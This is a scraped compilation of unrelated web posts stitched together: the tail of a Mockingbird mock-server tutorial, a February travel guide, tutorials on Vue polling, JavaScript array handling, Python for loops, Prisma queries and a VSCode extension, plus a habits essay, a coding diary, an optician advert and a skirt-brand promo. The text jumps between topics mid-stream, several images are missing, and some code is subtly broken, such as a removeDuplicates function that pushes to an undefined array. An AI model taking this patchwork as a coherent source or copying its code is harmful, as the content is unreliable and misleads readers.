Mockingbird's ability to handle multiple servers within a single project is one of its standout features. This capability is particularly useful for complex applications that interact with various backend services.
1. **Initiating a New Server**:
- Click on the `+ new server` button in the side bar.
- A dialogue box will appear; insert your server name and hit `SAVE`.
2. **Configuring Your Server**:
- After creating your server instance, click on the server name to open its details.
- Enter your real server's base URL in the Target URL field to let Mockingbird act as a proxy when necessary and hit `save`.
- Click `Start Server` to activate your mock server and access the server's IP by clicking on the `Servers IP` button.
3. **Creating Local Routes**:
- Add a parent to hold routes by selecting `New Parent` and specifying the path and filename.
- Define the HTTP method and path for each route, then add the route.
- Choose between function, JSON, or proxy responses, set response details, and save.
## Monitoring and Debugging
Mockingbird provides a console to view all API requests and how they are handled, offering valuable insights for debugging and optimization.
1. **Using the Console**:
- Open the Mockingbird console to monitor incoming API requests.
- Analyze the requests and responses to identify and resolve issues promptly.
- Add routes from proxy requests.
## Conclusion
Mockingbird is a versatile tool that simplifies the process of creating and managing multiple projects and servers. By leveraging its intuitive interface, powerful presets, and comprehensive monitoring capabilities, developers can significantly enhance their productivity and streamline their development workflows. Whether you're working on a single application or managing multiple projects, Mockingbird provides the tools you need to achieve seamless and efficient development experiences.
## Upcoming in This Series
- Setting up a GraphQL Mock Server with Mockingbird.
- Dynamically Updating Mockingbird Responses from Automated Tests.
## Engage With Us
Follow me on [Twitter](https://x.com/ozkeisar), also you can join the discussion or share your experiences on our [subreddit](https://www.reddit.com/r/mockingbird_dev/) or directly in the comments below. Your feedback helps us improve and guides our future developments.
Happy mocking, fellow developers!
| ozkeisar |
1,890,171 | cheap countries to visit in February with family and friends | February is a fantastic month for travel, offering a mix of mild weather, fewer crowds, and often... | 0 | 2024-06-16T09:42:24 | https://dev.to/blogland/cheap-countries-to-visit-in-february-with-family-and-friends-3492 |

February is a fantastic month for travel, offering a mix of mild weather, fewer crowds, and often lower prices. Here’s a comprehensive guide to help you choose the best destinations and plan an unforgettable trip with your family and friends.
Also, the contents of this [page](https://dev.to/blogland/cheap-countries-to-travel-in-winter-with-family-3f66) can be useful for you to travel in winter
## Benefits of Traveling in February
### Traveling in February has several advantages:
Lower Costs: Many destinations offer lower prices on flights and accommodations as it’s typically off-peak season.
Fewer Crowds: Popular tourist spots are less crowded, allowing for a more relaxed experience.
Unique Events: Various festivals and events take place in February, providing unique cultural experiences.
Mild Weather: Many destinations have pleasant weather, perfect for outdoor activities and sightseeing.
Top Affordable Destinations for Families and Friends
## Thailand
Thailand is a budget-friendly destination with stunning beaches, rich cultural heritage, and delicious cuisine. Cities like Bangkok and Chiang Mai offer affordable activities and accommodations.
## Vietnam
Vietnam is known for its beautiful landscapes, historical sites, and low-cost travel options. Hanoi and Ho Chi Minh City are great starting points for exploring the country.
## Mexico
Mexico offers warm weather, vibrant culture, and affordable travel options. Destinations like Cancun, Mexico City, and Playa del Carmen provide plenty of activities for all ages.
## Portugal
Portugal is a charming European destination with historic cities, beautiful coastlines, and affordable prices. Lisbon and Porto are must-visit cities with family-friendly attractions.
## Morocco
Morocco offers exotic scenery, rich culture, and budget-friendly options. Marrakech and Fes are perfect for experiencing the country’s unique atmosphere and historic sites.

## Climate Overview for February Travel
Understanding the climate of your chosen destination is crucial for planning:
Warm Destinations: Thailand, Vietnam, and Mexico offer warm temperatures ideal for beach and outdoor activities.
Mild Destinations: Portugal and Morocco have mild, pleasant weather, suitable for exploring cities and nature.
Cold Destinations: If you enjoy winter sports, consider destinations in Eastern Europe or the Northern Hemisphere for snowy adventures.
## Fun Activities for All Ages in February
## Beach Activities
Enjoy swimming, snorkeling, and beach games in warm destinations like Thailand and Mexico.
## Cultural Exploration
Visit museums, historical sites, and local markets in cities such as Hanoi, Marrakech, and Lisbon.
## Outdoor Adventures
Hiking, biking, and nature walks are great ways to explore the scenic areas of Portugal and Vietnam.
## Festivals and Events
Experience local festivals and events to immerse yourself in the culture. For example, Vietnam celebrates Tet (Lunar New Year) in February.

## Budget-Friendly Lodging Options
## Hostels and Guesthouses
Many destinations offer affordable hostels and guesthouses with family-friendly accommodations.
## Vacation Rentals
Platforms like Airbnb and Vrbo provide budget-friendly vacation rentals that can accommodate larger groups.
## Budget Hotels
Look for budget hotels that offer comfortable stays without breaking the bank. Booking in advance can often secure better rates.
## How to Cut Costs on Your February Vacation
Book Early: Secure flights and accommodations early to take advantage of lower prices.
Travel Off-Peak: Avoid popular tourist dates to benefit from reduced prices and fewer crowds.
Use Public Transportation: Utilize local public transport instead of taxis to save money.
Eat Local: Enjoy meals at local eateries and street food vendors for an authentic and affordable dining experience.
Free Activities: Seek out free or low-cost activities and attractions.

## Step-by-Step Guide to Planning a Budget Trip
Set a Budget: Determine your total budget and allocate funds for different aspects of the trip.
Research Destinations: Choose destinations that offer good value for money and align with your interests.
Create an Itinerary: Plan a flexible itinerary that includes both free and paid activities.
Book Flights and Accommodations: Look for deals and book as early as possible.
Pack Wisely: Ensure you pack appropriately for the weather and activities planned.
## Essential Packing Tips for February Adventures
Layering: Pack clothes that can be layered to accommodate varying temperatures.
Comfortable Footwear: Bring comfortable shoes for walking and exploring.
Weather Essentials: Include hats, gloves, and scarves for cooler destinations, and sunscreen and hats for warmer climates.
Travel Essentials: Pack travel-sized toiletries, medications, and entertainment for the journey.
## Staying Safe During Your Winter Travels
Stay Informed: Keep updated on local weather conditions and travel advisories.
Emergency Contacts: Have a list of emergency contacts and local emergency numbers.
Health Precautions: Carry necessary medications and a first-aid kit.
Travel Insurance: Invest in travel insurance that covers health, cancellations, and emergencies.
Keep Valuables Secure: Use money belts or secure bags to protect your valuables.
Enjoying Local Culture Without Spending Much
Local Festivals
Many destinations host festivals in February that are free to attend and offer a glimpse into local culture and traditions.
## Museums and Historical Sites
Look for museums and historical sites with free or discounted entry days to learn about the local history and culture.
## Street Markets
Explore local street markets for affordable souvenirs, street food, and cultural experiences.
Traveling to affordable destinations in February with family and friends allows you to enjoy memorable experiences without financial stress. With careful planning and smart choices, you can make the most of your winter vacation and create lasting memories with your loved ones. | blogland | |
1,890,169 | Polling in Vue.js | Designing a composable in Vue.js to continuously poll data after the "x" interval. What is... | 0 | 2024-06-16T09:35:59 | https://dev.to/pulkit30/polling-in-vuejs-205j | javascript, webdev, tutorial, vue | Designing a composable in Vue.js to continuously poll data after the "x" interval.
### What is Polling?
It is defined as the process when a client requests a particular piece of data at regular intervals (maybe every x seconds) and the server reverts with a usual response with the required data.
[read more](https://www.geeksforgeeks.org/polling-and-streaming-concept-scenarios/)
### Composable
Let's write a composable `usePolling` inside `src/composables/usePolling.ts`
```js
import { ref, onMounted, onUnmounted } from "vue";
const usePolling = (method, timeInterval = 10000) => {
const interval = ref(null);
const callMethod = ref(method);
const isPolling = ref(false);
const clear = () => {
clearInterval(interval.value);
interval.value = null;
isPolling.value = false;
};
const fetchData = (poll = true) => {
callMethod.value();
if (poll) {
// start interval
interval.value = setInterval(() => {
callMethod.value();
}, timeInterval);
} else {
clear();
}
};
const start = () => {
// clear any existing polling calls
clear();
// set polling flag to true
isPolling.value = true;
// fetch data
fetchData();
};
onMounted(() => isPolling.value && fetchData());
onUnmounted(clear);
return {
start,
clear,
};
};
export default usePolling;
```
### Component:
Now, let's use this composable inside any component.
```js
<script setup>
import { onMounted } from "vue";
import usePolling from "../composables/usePolling";
const apiCall = async () => {
console.log("api call");
// const response = await fetch("https://jsonplaceholder.typicode.com/todos/1");
// const data = await response.json();
// console.log(data);
};
const { start, clear } = usePolling(apiCall, 1000);
onMounted(start);
</script>
<template>
<h1>Hello world!</h1>
</template>
```
### Console output:
 | pulkit30 |
1,890,167 | Four JavaScript Data Manipulation Every Junior Must Practice | During recent developer interviews, I noticed many candidates felt overwhelmed by coding challenges.... | 0 | 2024-06-16T09:34:06 | https://www.danywalls.com/four-javascript-data-manipulation-every-junior-must-practice | javascript, frontend, beginners, programming | During recent developer interviews, I noticed many candidates felt overwhelmed by coding challenges. For junior positions, it's common to be asked about basic JavaScript tasks. Today, I'll share essential data manipulation techniques that junior developers should practice for coding challenges.
In this article, I'll explain four important JavaScript techniques with easy examples: filtering products, merging API data, removing duplicates, and finding the highest-rated item. These examples will help you prepare effectively for your next coding challenge.
Let's explore these practical examples to get you ready!
> 💡 My advice: Try to solve these problems yourself first, then check the solutions. If you have better examples, please share them in the comments.
### 1\. Finding Elements: Filtering Products
**Scenario:** Imagine you're building an online store, and you need to filter products based on price range and brand.
```typescript
const products = [
{ name: "iPhone 13", price: 999, brand: "Apple" },
{ name: "Galaxy S21", price: 799, brand: "Samsung" },
{ name: "iPad Air", price: 599, brand: "Apple" },
{ name: "Pixel 6", price: 699, brand: "Google" },
];
const filters = {
minPrice: 500,
maxPrice: 800,
brand: "Samsung"
};
```
#### Solution:
Use the `filter()` method. This method creates a new array with elements that pass the test in the provided function. Check if the `product.price` is within the range defined by `filters.minPrice` and `filters.maxPrice`, and if the `product.brand` matches the `filters.brand`. If both conditions are met, the product is included in the `filteredProducts` array.
> Read more about the [filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) method.
```typescript
const filteredProducts = products.filter(product => {
return product.price >= filters.minPrice &&
product.price <= filters.maxPrice &&
product.brand === filters.brand;
});
```
### 2\. Merging Data: Building a User Dashboard
Scenario: You must create a user dashboard that displays data from multiple API calls.
```typescript
fetchUserProfile(userId),
fetchUserPurchases(userId),
fetchUserActivity(userId),
```
#### Solution:
Use the `Promise.all()` method [to handle m](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)ultiple asynchronous operations. This method takes an array of promises and returns a single promise that resolves when all input promises have resolved.
> Read more about [Promise.all](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all).
[Use `await`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all) with `Promise.all()` [to make sur](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)e all three API calls (`fetchUserProfile`, `fetchUserPurchases`, `fetchUserActivity`) complete. Then, use destructuring assignment with `[profileData, purchaseData, activityData]` to get the results of each API call into separate variables. Finally, use the **object spread** (`...`) syntax to create a copy of `profileData`, adding the `purchaseData` and `activityData` properties to this copy, merging all the data together.
> Learn more about [Destructurin](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)[g and Sprea](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all)[d sy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)[ntax](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax).
```typescript
async function fetchAndMergeUserData(userId) {
const [profileData, purchaseData, activityData] = await Promise.all([
fetchUserProfile(userId),
fetchUserPurchases(userId),
fetchUserActivity(userId),
]);
return { ...profileData, purchases: purchaseData, activity: activityData };
}
```
### 3\. Removing Duplicates: Cleaning Contact Data
**Scenario:** You're building a contacts app. You get a list of contacts, some of which might be duplicates. The goal is to display a unified list with only unique contacts based on the email.
```typescript
const contacts = [
{ name: "Mandy", email: "mandy@email.com" },
{ name: "Alysse", email: "alice@email.com" },
{ name: "Mandi", email: "mandy@email.com" },// Duplicate
];
const nbaContacts = [
{ name: "Lebron", personal_email: "lebron@email.com" },
{ name: "Irving", personal_email: "irving@email.com" },
{ name: "Levron", personal_email: "lebron@email.com" }, //duplicate
]
```
#### Solution:
First, collect all emails in an array using the [map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) functi[on, ta](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)rgeting the "email" or "personal\_email" field. Then, remove duplicates using [new Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set). Final[ly, go thr](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)ough each `uniqueEmail` using [forEach](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) and ad[d them to](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) the contacts array.
```typescript
function removeDuplicates(elements: Array<any>, key: string) {
let emails = elements.map(p => p[key]);
let uniqueEmails = Array.from(new Set(emails));
let contacts = [];
uniqueEmails.forEach((value) => {
let contact = elements.find(p => p[key] === value);
uniqueContacts.push(contact)
})
return contacts
}
```
We are using common methods like .map, forEach, and Set(), but we are not fully utilizing them. Let's try a second option.
In this second option, first, declare the `uniqueEmails` set to track unique values. Next, use the filter method to go through each element in the input array, using `element[key]` to get the property value. If the `uniqueEmails` set doesn't already have the email (`!uniqueEmails.has(value)`), it means this is the first time, so add it and return true from the filter. If it already has the value, return false, indicating that this element is a duplicate and should be removed.
```typescript
function removeDuplicates(elements: Array<any>, key: string) {
const uniqueEmails = new Set();
return elements.filter(elm => {
const value = elm[key];
const isDuplicate = !uniqueEmails.has(value);
uniqueEmails.add(value);
return !isDuplicate;
});
}
```
### 4\. Transforming Data: Finding the Highest-Rated Product
**Scenario:** You have an array of product objects, each with a rating property. You want to find the product with the highest rating.
```typescript
const products = [
{ id: 1, name: "Laptop", rating: 4.5 },
{ id: 2, name: "T-shirt", rating: 4.2 },
{ id: 3, name: "Headphones", rating: 4.8 },
];
```
#### Solution
Use the [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) [method.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) It goes through the products, comparing each product's rating to the highest-rated product so far. If the current product has a higher rating, it becomes the new highest.
The reducer with the callback function compares the `rating` of the `current` product with the `highest` rated product so far. If the `current` product has a higher rating, it becomes the new `highest`. This continues for each product, and the final `highest` is returned.
```typescript
const highestRatedProduct = products.reduce((highest, current) => {
return current.rating > highest.rating ? current : highest;
}, products[0]);
```
## Conclusion
Done, we learned the top four data manipulations in JavaScript for junior interviews. After practicing these data manipulations, you can feel more confident about coding challenges or your daily tasks. Whether you're filtering products, merging API responses, removing duplicates, or finding the highest-rated item.
Remember to practice these examples, and I hope they help you in your next challenge. | danywalls |
1,890,165 | How to make programming a habit in your life | Hi Devs, As a graduate developer trying to get my foot in the door of the IT industry, making... | 0 | 2024-06-16T09:21:45 | https://dev.to/jaelynlee/how-to-make-programming-a-habit-in-your-life-1m3l | webdev, beginners, programming, productivity | Hi Devs,
As a graduate developer trying to get my foot in the door of the IT industry, making programming a habit is crucial.
You need to consistently make commits to your GitHub, work on new projects with the new tech stack you learn, update your portfolio and so on! But I always think, *"Why did I end up scrolling on my phone all day? I've wasted my time again."*
Why is it so hard to make programming a habit and how can we change our bad habit into a good one?
### We first need to know what a habit is.
According to the Oxford Dictionary, a habit is a settled or regular tendency or practice, **especially one that is hard to give up.**
In his book, The Power of Habit, Charles Duhigg defines a habit as an unconscious action, such as brushing your teeth after a meal, grabbing a coffee before work, or biting your fingernails.
Habits consist of 3 elements:
1) **Cue**
First, habits are triggered when there is a cue that causes a person to act on a specific behaviour. A cue is an event that triggers a routine. It can be defined by time, an emotional state, a location, or an action. For instance, when boredom strikes, you might find yourself leaving your desk to look for someone to chat with.
2) **Routine**
Second, habits are formed by daily routines or actions that satisfy reactions to certain cues. For the example I explained above, the routine (a.k.a. action) is chatting with your colleagues.
3) **Reward**
Lastly, habits are followed by internal rewards that help people feel more at ease. The reward of having a chat with colleagues is feeling awake and more energized.
Here is a diagram to visually see how a habit works.

### So, how can we change our habits into better ones?
Cue and Reward are more about internal feelings and reactions so by changing your routine to one that gives the same reward, you can easily switch the habits you hate into habits you are proud of.
For instance, instead of drinking coffee or eating snacks to stay awake, you can go for a walk or stretch your body. These will give you the same reward from the same cue and your brain will be satisfied as it is getting the same reward it expected. (Easy, aye?)

### I get all of that. How can we apply this to make programming a habit?
First, establish a regular cue, something you do daily, such as waking up, before lunch, or before going to bed.
Next, create manageable routines, such as coding for 30 minutes, learning AWS for 30 minutes, or solving a Leetcode problem.
The most crucial part of forming a habit is the reward 🏆! For instance, after coding for 30 minutes, you could make yourself breakfast or have a chocolate bar. Your brain and body will associate these rewards with the routines, encouraging their completion.
### Additional tips to make good things a habit
1) Plan your tasks in smaller pieces
If you have big tasks to complete, you will feel overwhelmed before even starting. Break them down as small as possible and cross them out as you finish them! You will feel a good sense of accomplishment.
2) Prioritize your work
Finish important & complex work in the morning, and complete creative work in the afternoon. People like Beethoven and Einstein, who have great achievements in history, tend to finish complex and time-consuming jobs in the morning and spend some time in the afternoon to recharge and do some creative jobs.
3) Work on something that makes you excited and interested
If things are what you truly enjoy and are interested in, it will become a habit very fast before you realise it. So find something that makes you excited and joyful.
Here's my summary of how to make programming a habit. I hope you found it helpful!
Maintaining a learning mindset during tough times can be challenging, but I believe consistent effort pays off.
Stay tuned for more valuable information soon. | jaelynlee |
1,890,163 | For Loops in Python | A for loop executes a sequence of statements many times till a particular condition is reached. Let’s... | 0 | 2024-06-16T09:20:18 | https://dev.to/pulkitgovrani/for-loops-in-python-50e1 | devchallenge, cschallenge, computerscience, beginners | A for loop executes a sequence of statements many times till a particular condition is reached.
Let’s take an example: Assume that we will give food to a person 10 times so he will take food for 1st time, 2nd time, …… 10th time and then we will not give the food which results in breaking of the loop.
Syntax of For loop:

The body of for loop is separated from the code using the indentation.
### Code Example

Output

## The range() Function
The range() function gives a sequence of numbers, by default starting from 0 ,and incrementing by 1(default) and ends at the given number. We can use range() function for looping through a sequence a certain number of times.
If we take range(5) then it returns 0,1,2,3,4 as values.
Note: range(5) returns the values from 0 to 4 and not 0 to 5.
### Code Example:

Output

The starting value of the range function is 0 by default but we can specify it by adding one more parameter.
### Code Example:

Output

The incrementing value is 1 by default but we can specify it also by adding one more parameter but it is necessary to write starting index and ending index.
### Code Example

Output

## For Loop With Else
We can write an else statement with for loop it is executed when the loop stops executing.
### Code Example

Output

I hope you were able to understand how for loop works in python. | pulkitgovrani |
1,890,150 | VSCode extension development: As a beginner | Hello everyone, Today I will explain how I created my first vscode extension, Docs Official. An... | 0 | 2024-06-16T09:18:55 | https://dev.to/georgiosdrivas/vscode-extension-development-as-a-beginner-29lg | vscode, extensions, javascript | Hello everyone,
Today I will explain how I created my first vscode extension, [Docs Official](https://marketplace.visualstudio.com/items?itemName=GeorgiosDrivas.docs-official). An extension that provides easy access to the official documentation of the currently opened file's language, with a single click of a button.
## The idea behind the extension
The idea was to create a simple extension in order to understand the proccess of extension development that whould also benefit me in my job.
That's when I thought that creating a way to easily access documentation when I need it, is an good idea to start from.
The basic concept is that the extension will check the file's extension ( .js, .py, .cpp ) and will provide the official documentation for that language. Exceptions to that, are the txt files which do not have a documentation.
Currently, only Javascript, Python and HTML are supported, but more languages are coming in a couple of days.
## The implementation
The proccess of creating the extension was simple. I store my languages in an object with the key being the name of the language and the value the link to the documentation.
```
const lngs = {
"javascript": "https://developer.mozilla.org/en-US/docs/Web/JavaScript",
"python": "https://docs.python.org/3/",
"html": "https://developer.mozilla.org/en-US/docs/Web/HTML"
};
```
Then , I make sure a file is opened and grab it's language extension
```
const editor = vscode.window.activeTextEditor;
if (!editor) {
vscode.window.showInformationMessage('No active editor found');
return;
}
const languageId = editor.document.languageId;
const docUrl = lngs[languageId];
```
If the language is supported by my extension ( Which means that it must be in the object lngs ), a informationMessage is visible which will lead the user in the official documentation of the language with a click of a button.
```
if (docUrl) {
vscode.window.showInformationMessage(`Documentation for ${languageId}`, "Open Documentation")
.then(response => {
if(response === "Open Documentation"){
vscode.env.openExternal(vscode.Uri.parse(docUrl));
}
});
} else {
vscode.window.showInformationMessage(`No documentation URL found for ${languageId}`);
}
```
To make the extension available in every file and user-friendly, I created a status bar button that will allow the user to activate the extension without the need of writing the command every time.
```
const statusBarItem = vscode.window.createStatusBarItem(vscode.StatusBarAlignment.Right, 100);
statusBarItem.command = 'docsOfficial.activate';
statusBarItem.text = '$(book) Open Docs';
statusBarItem.tooltip = 'Open documentation for the current file';
statusBarItem.show();
```
## Conclusion
That was my first ever vscode extension. It sure is not perfect and it has potential for future improvements, but it was a nice experience from which I learned a lot. It's always very good to give back to the community in every way possible, even by providing something that simple.
You can find the source code of Docs Official in my [GitHub repository](https://github.com/GeorgiosDrivas/vscode-docs-official). Feel free to drop a star, or even contribute to it for further improvement.
You can try out [Docs Official](https://marketplace.visualstudio.com/items?itemName=GeorgiosDrivas.docs-official) by downloading it from the VSCode extensions.
| georgiosdrivas |
1,890,162 | Quickstart: Querying databases with Prisma. | Prisma is my ORM of choice, which works nicely with TypeScript and Postgres (as well as many other... | 0 | 2024-06-16T09:18:51 | https://dev.to/matthewbill/quickstart-querying-databases-with-prisma-2llp | prisma, webdev, typescript, repository | Prisma is my ORM of choice, which works nicely with TypeScript and Postgres (as well as many other data stores). Something no doubt you have to do a lot in your apps is get a collection of objects from your data stores.
You can read all about how to do queries with [prisma over here](https://www.prisma.io/docs/orm/prisma-client/queries/crud), but what does a real world example look like where we want to query our data store for some results.
I have put together some sample code (its not perfect) with some of the key functionality you might need, like sorting, filtering, and paging.
This is set up in particular to work with [shadcn/ui](https://ui.shadcn.com/), [TanStack Table](https://tanstack.com/table/latest) and [Query](https://tanstack.com/query/latest). For example, the Pagination result returns the total so that we can know how many pages to show on the pagination control and pageIndex/pageSize is used as this is what is used in the `PaginationState` interface for Tanstack Table.
## Query
The query we have will eventually look like the following. `prisma` is a singleton implementation of the `PrismaClient` object which is created through `prisma generate`.
``` ts
const items = await prisma.organization.findMany(
{
skip,
take,
where: whereClause,
orderBy: orderByClause,
},
);
```
## Filtering
``` ts
// Filtering
let whereClause: any = {};
if (options.name) {
whereClause.name = {
contains: options.name,
};
}
```
## Paging
``` ts
let skip = undefined;
let take = undefined;
if (options.pageIndex && options.pageSize) {
skip = options.pageIndex * options.pageSize;
take = options.pageSize;
}
```
## Ordering
``` ts
let orderByClause: any = {
[options.sort ?? "name"]: options.sortDirection ?? "desc",
};
```
## Final Result
When all put together it looks like this (including the types). Note - I have not included the surrounding class, which has an instance of logger and other functionality.
``` ts
export type PaginationResult<T> = {
items: T[];
total: number;
pageIndex?: number;
pageSize?: number;
}
type CollectionQuery = {
sort?: string;
sortDirection?: string;
pageIndex?: number;
pageSize?: number;
};
type OrganizationCollectionQuery = {
name?: string;
} & CollectionQuery;
async getCollection(options: OrganizationCollectionQuery): Promise<PaginationResult<Organization>> {
try {
// Filtering
let whereClause: any = {};
if (options.name) {
whereClause.name = {
contains: options.name,
};
}
// Ordering
let orderByClause: any = {
[options.sort ?? "name"]: options.sortDirection ?? "desc",
};
// Paging
let skip = undefined;
let take = undefined;
if (options.pageIndex && options.pageSize) {
skip = options.pageIndex * options.pageSize;
take = options.pageSize;
}
const items = await prisma.organization.findMany(
{
skip,
take,
where: whereClause,
orderBy: orderByClause,
},
);
const total = await prisma.organization.count();
return {
items,
total,
pageIndex: options.pageIndex,
pageSize: options.pageSize,
};
} catch (error: any) {
this.logger.error(error);
throw error;
}
}
```
| matthewbill |
1,890,161 | Let me introduce you OnePublish | Notion-based cross-publishing tool | Hi everyone, let me introduce you OnePublish which is a cross-publishing tool that allows you to... | 0 | 2024-06-16T09:17:22 | https://dev.to/thedevtimeline/let-me-introduce-you-onepublish-notion-based-cross-publishing-tool-36dk | productivity, writing, tooling, contentwriting | Hi everyone, let me introduce you [OnePublish](https://onepubli.sh) which is a cross-publishing tool that allows you to manage **all your content in Notion** and **cross-publish** it with few clicks.
## Inspiration and Idea 💫
I have been posting tech articles since 2018, but I have always been too lazy to publish them on all of my blogging platforms.
Because, each platform comes with its own unique markdown requirements, image uploading processes, tag settings, and more. Also, simple copy-pasting doesn't work effectively due to the varying ways editors render content.
Yeah.. you guessed it right, I am too lazy for 15 minutes of dedicated work so I spent 5-6 month to build this chrome extension to make publishing easier.
## All your content in Notion 🗒️
Have you ever lost your articles? I have been through this, and it was hard for me to rewrite everything. I felt like there was no single place where I could manage all my content.
Then I realized Notion is a great place to manage content with all its tools and easy-to-use markdown editor. So, why not manage content in Notion and make a tool to cross-publish it to other blogging platforms.
## No Complex Dashboards. Simple Extension as a Gateway to Publishing. 🎯
I was thinking of making something simple and easy-to-use where there is no need to register on some website and then get lost inside the dashboard.
That idea lead me to make a chrome extension where user don't need to navigate to separate website and manage all the content there.
Minimizing the onboarding process plays crucial role in not getting bored when starting to use the product. I often find myself closing the tab in the middle of registration because of the long setup process.
In the current state of [OnePublish](https://onepubli.sh), users can connect to Notion with an OAuth flow (few clicks) and then it's ready to use.
## I am using my own product 😎
I am cross-publishing to DEV, Hashnode, Medium, and Ghost CMS (soon LinkedIn). And all my content is in managed in Notion.
Looking forward to hear your feedbacks!
{% twitter 1799712258299486630 %} | thedevtimeline |
1,890,160 | [DAY 54-56] I Learned Bootstrap, jQuery, SASS, and React | Hi everyone! Welcome back to another blog where I document the things I learned in web development. I... | 27,380 | 2024-06-16T09:16:28 | https://dev.to/thomascansino/day-54-56-i-learned-bootstrap-jquery-sass-and-react-254j | beginners, javascript, react, frontend | Hi everyone! Welcome back to another blog where I document the things I learned in web development. I do this because it helps retain the information and concepts as it is some sort of an active recall.
On days 54-56, after acquiring the DSA certificate from freeCodeCamp, I continued on to the next course which is the Front End Development Libraries.
The course teaches frameworks and libraries of CSS and Javascript. I learned Bootstrap, jQuery, SASS, and React.




Although I did not dive deeper into learning those libraries except React (because I think React is more important), I still learned the general concepts and some basic syntax on how these libraries work.
If you are like me that's a beginner and is also going through freeCodeCamp courses, and you want to learn more about the libraries and frameworks that I mentioned, the course is very short and because of that, you will not learn much about it. If you want to prioritize these libraries, I recommend you to find other tutorials or resources outside freeCodeCamp as it only covers general principles.
However, for React, they have done a good job in teaching what you need to know in this course. It’s a relatively longer course than the other frameworks and libraries mentioned and it goes over the syntax and concepts of JSX elements, DOM manipulation, render methods, class and functional components, and props.
Furthermore, I believe that if you want to know more about React, rather than watching another tutorial or going through another course…
It is much better to use what you learned from the course to build projects and fill in the knowledge gaps that occurred while going through the course. Remember the 80-20 rule, knowing the 20% to build 80% of the project. It is helpful in retention and gives you confidence as a programmer.
Anyways, that’s all for now, more updates in my next blog! See you there! | thomascansino |
1,890,159 | 𝐏𝐫𝐨𝐭𝐞𝐜𝐭 𝐘𝐨𝐮𝐫 𝐄𝐲𝐞𝐬 𝐢𝐧 𝐒𝐭𝐲𝐥𝐞! 👀 | Discover our Power Sunglasses 🕶️ featuring 100% UV protection ☀️☀️ Enjoy 😇 👉🏻 unmatched comfort, 👉🏻... | 0 | 2024-06-16T09:14:22 | https://dev.to/eyemaxopticalsmumbai/-3hl4 | protection, eyewear, glasses, bandrawest | Discover our Power Sunglasses 🕶️ featuring 100% UV protection ☀️☀️
Enjoy 😇
👉🏻 unmatched comfort,
👉🏻 crystal-clear vision, &
👉🏻 a fashionable look.
Get yours today! 😎
📍 [𝗟𝗼𝗰𝗮𝘁𝗶𝗼𝗻](https://maps.app.goo.gl/neCDvm2NH2jfk1vw8): [Diamond Palace, 8/15 A, Hill Rd, Santosh Nagar, Bandra West, Mumbai, Maharashtra 400050]
🕒 𝗦𝘁𝗼𝗿𝗲 𝗛𝗼𝘂𝗿𝘀: [All Days, 10 am–8:30 pm]
📞 𝐂𝐨𝐧𝐭𝐚𝐜𝐭 𝐔𝐬: [𝟎𝟐𝟐 𝟔𝟔𝟗𝟐 𝟓𝟕𝟏𝟐 | 𝟎𝟖𝟎𝟖𝟎𝟒 𝟓𝟐𝟔𝟗𝟖 | 𝟎𝟐𝟐 𝟔𝟐𝟑𝟔 𝟏𝟖𝟒𝟒]
↖️ 𝐃𝐢𝐫𝐞𝐜𝐭𝐢𝐨𝐧𝐬: https://maps.app.goo.gl/GupnDnmPS67uv6NUA
See you soon!!
#bestopticalinbandra #opticalshopsinbandra #eyeopticalstoreinbandra #opticiansinbandrawest #eyewear #sunglasses #brandedfashionwear #opticalshopnearme #besteyeopticalstorenearme #bandra #bandrawest #mumbai | eyemaxopticalsmumbai |
1,890,158 | Wildskirts: Unleashing Style and Comfort | Wildskirts is a revolutionary brand in the world of women's fashion, particularly known for its... | 0 | 2024-06-16T09:13:39 | https://dev.to/rano_g_dc2738718dcf79b9c1/wildskirts-unleashing-style-and-comfort-3l07 | [Wildskirts](https://wildskirts.uk/) is a revolutionary brand in the world of women's fashion, particularly known for its unique blend of style, comfort, and functionality. Wildskirts caters to the modern woman who is unafraid to express her individuality and embraces both elegance and practicality in her wardrobe. Here, we delve into what makes Wildskirts a standout brand and why their skirts have become a must-have in every fashion-forward woman's closet.
The Philosophy behind Wildskirts
Wildskirts was born from a desire to break free from the conventional and mundane. The founders envisioned a brand that would allow women to showcase their wild, untamed spirit through their clothing. With a focus on quality, innovation, and sustainability, Wildskirts aims to redefine how skirts are perceived and worn.
• Innovative Designs: The brand offers a diverse range of skirts that cater to various tastes and occasions. From bold prints and vibrant colours to minimalist styles and classic cuts, there is something for everyone.
• Denim Quality Craftsmanship: [Denim Skirt](https://wildskirts.uk/product-category/denim-skirt/) is meticulously crafted with attention to detail. The brand uses high-quality fabrics that not only look good but also feel good against the skin. Whether it's a luxurious silk skirt for a special occasion or a comfortable cotton piece for everyday wear, Wildskirts ensures top-notch quality.
• Sustainability In an age where sustainability is crucial, Wildskirts is committed to environmentally friendly practices. The brand uses sustainable materials and ethical manufacturing processes to reduce its carbon footprint. This commitment not only benefits the planet but also resonates with the conscious consumer.
Key Features of Wildskirts
• Comfort It is a cornerstone of Wildskirts' design philosophy. The brand understands that looking good should never come at the expense of comfort. Their skirts are designed to provide ease of movement and all-day wear ability, making them perfect for both work and play.
